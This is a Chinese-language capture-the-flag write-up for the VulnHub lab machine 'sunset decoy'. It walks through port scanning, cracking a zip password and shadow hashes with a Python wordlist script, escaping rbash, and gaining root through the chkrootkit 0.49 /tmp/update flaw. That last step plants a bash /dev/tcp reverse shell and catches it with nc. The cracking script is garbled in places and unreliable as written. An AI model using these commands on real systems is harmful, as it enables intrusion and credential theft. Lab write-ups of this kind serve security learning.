vulnhub:sunset decoy
靶机下载地址https://csdnimg.cn/release/blog_editor_html/release2.3.8/ckeditor/plugins/CsdnLink/icons/icon-default.png?t=P1C7https://www.vulnhub.com/entry/sunset-decoy,505/渗透过程
简单信息网络
nmap 192.168.56.0/24 -Pn
# 确定靶机ip:192.168.56.121
nmap 192.168.56.121 -A -T4
# 得到开放端口22,80 在80端口得到save.zip,需要密码解压。
https://i-blog.csdnimg.cn/direct/7eb82664faea4826bc3155945950b249.png
john破解压缩包密码
zip2john save.zip > hash.txt
john hash.txt 得到密码manuel。
shadow密码破解
解压后得到/etc/文件夹,内有shadow文件,尝试破解用户密码。
root外存在用户296640a3b825115a47b68fc44501c828
296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7::: 密文是$6开头,所以加密方式是SHA-512。
网上找到一个破解脚本。
# coding=utf-8
import crypt
shadow_file = "/etc/shadow" # 获取系统密码路径
password_file = "/usr/share/wordlists/rockyou.txt" # 自己的密码文件,里面放的是明文密码
def get_pass(shadow_file):
used = {} # key是用户,value是对应的密文
f = open(shadow_file, "r") # 读取系统密码文件
userline = f.readlines() # 将该文件转换为列表格式
f.close()
for item in userline: # 遍历列表里的内容
if len(item.split(":")) > 3: # 以":"分割,取第二个元素的长度,也就是完整密文值的长度,如果大于3,我们认定它有密码,把它取出来
used] = item.split(":")# 我们将取出的密文给了相应的用户,这里的used]是字典的key,也就是系统中的用户名,后面的i.split(":")是用户名后的加密密文
return used
# 提取自己的密码文件中的明文密码
def look_d(password_file):
f = open(password_file, 'r')
mwlist = f.readlines() # 将读取的内容转换为列表
f.close()
for i, item in enumerate(mwlist):
mwlist = item.strip("\n") # 去除每一行的换行符
return mwlist# 返回这个列表
# 根据密文是否相同判断出对应的用户和密码
def main(user_passfile, zidian):
used = get_pass(user_passfile) # 获取用户和对用的加密密文
mingwen = look_d(zidian) # 获取所有的明文密码
for user in used:
passwd = used # 一次遍历每个用户的密文
salt = "$6$" + passwd.split("$")# 获取盐值
for passwdmw in mingwen: # 遍历系统中的每个完整密文
if passwd == crypt.crypt(passwdmw.rstrip(), salt):# 如果我们猜想的密文与系统中的密文相同,输入它的用户名和密码
print("userName:%s passWord:%s" % (user, passwdmw.rstrip()))
if __name__ == "__main__":
main(shadow_file, password_file) get密码:server
https://i-blog.csdnimg.cn/direct/51cb73d236e14e799b186894426283ac.png
rbash逃逸
ssh远程登录后发现是rbash,即restricted shell,受限定的bash,体现为
[*] 不能利用cd下令。
[*] 不能利用>,<>,>>等重定向操作符。
[*] 不能设置或取消环境变量。
https://i-blog.csdnimg.cn/direct/b0fd951046d04da0916088a6124b6726.png
rbash逃逸有很多种方式,这里测试后实用的是ssh登录时逃逸 (借助-t远程在远程机器上运行脚本)
ssh 296640a3b825115a47b68fc44501c828@192.168.56.121 -t "bash --noprofile"
# 不加载用户配置
# -t "bash --noprofile" rbash逃逸乐成后发现仍、cat、vim等下令仍旧无法利用,
需要设置环境变量。
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 完美办理,get user.txt。
https://i-blog.csdnimg.cn/direct/d55f19a1f9c94746ac153d5bb9d4b460.png
用户目次内容如下:
https://i-blog.csdnimg.cn/direct/9b40152312d44ea2a2329df05f6f3fbd.png
存在一个root用户创建的honeypot.decoy可实行文件,他有8个功能,其中除选项五之外都是简单易懂的功能,选择选项五后无回显,不清楚具体作用。
https://i-blog.csdnimg.cn/direct/b492efddaee24fbdb6d853e42454994e.png
rbash逃逸部分参考rbash逃逸大全-先知社区 (aliyun.com)
chkrootkit提权
SV-502/目次下的logs文件中发现一个可疑点,chkrootkit,这是一个后门检测工具。
https://i-blog.csdnimg.cn/direct/66181be978a042c3848d8bb6350ccb93.png
搜索发现,chkrootkit 0.49版本有毛病。searchsploit毛病库搜索一下,searchsploit chkrootkit,锁定到33899.txt。
https://i-blog.csdnimg.cn/direct/66441a5fb1af41a9bdb9fdd6200af91d.png
了解后知道,满足两点即可利用该毛病获取root权限:
[*] 假如目标机器管理员会定期运行chkrootkit。
[*] 非root用户对/tmp/目次有写权限。(可以再该目次下创建有实行权限update文件)。
此处具体提权流程如下:
[*] 在tmp目次下创建update文件,并写入反弹shell。
touch /tmp/update
chmod +x /tmp/update
echo "bash -c 'exec bash -i &>/dev/tcp/ip/4444 <&1'" > /tmp/update
[*] 运行chkrootkit,首先检察是否有这个定时任务❌;想到用户目次下那个可实行文件honeypot.decoy,实行后有8个选项,其中第五个选项意味不明Launch an AV Scan.,但是根据Scan有理由怀疑该选项就是实行chkrootkit。简单测试一下,选择选项五后利用ps -aux | grep chk验证发现运行了chkrootkit✔️
https://i-blog.csdnimg.cn/direct/5552ff9319954561907e828ae0565b40.png
因此,提权操作如下:
# 靶机
./honeypot.decoy
5
# 攻击机
nc -lvvp 4444 https://i-blog.csdnimg.cn/direct/9ab2914450154c44be02ecb266f68aa8.png
提权乐成。
https://i-blog.csdnimg.cn/direct/964af4bed3be40e4b6e06ab3ee721ebe.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]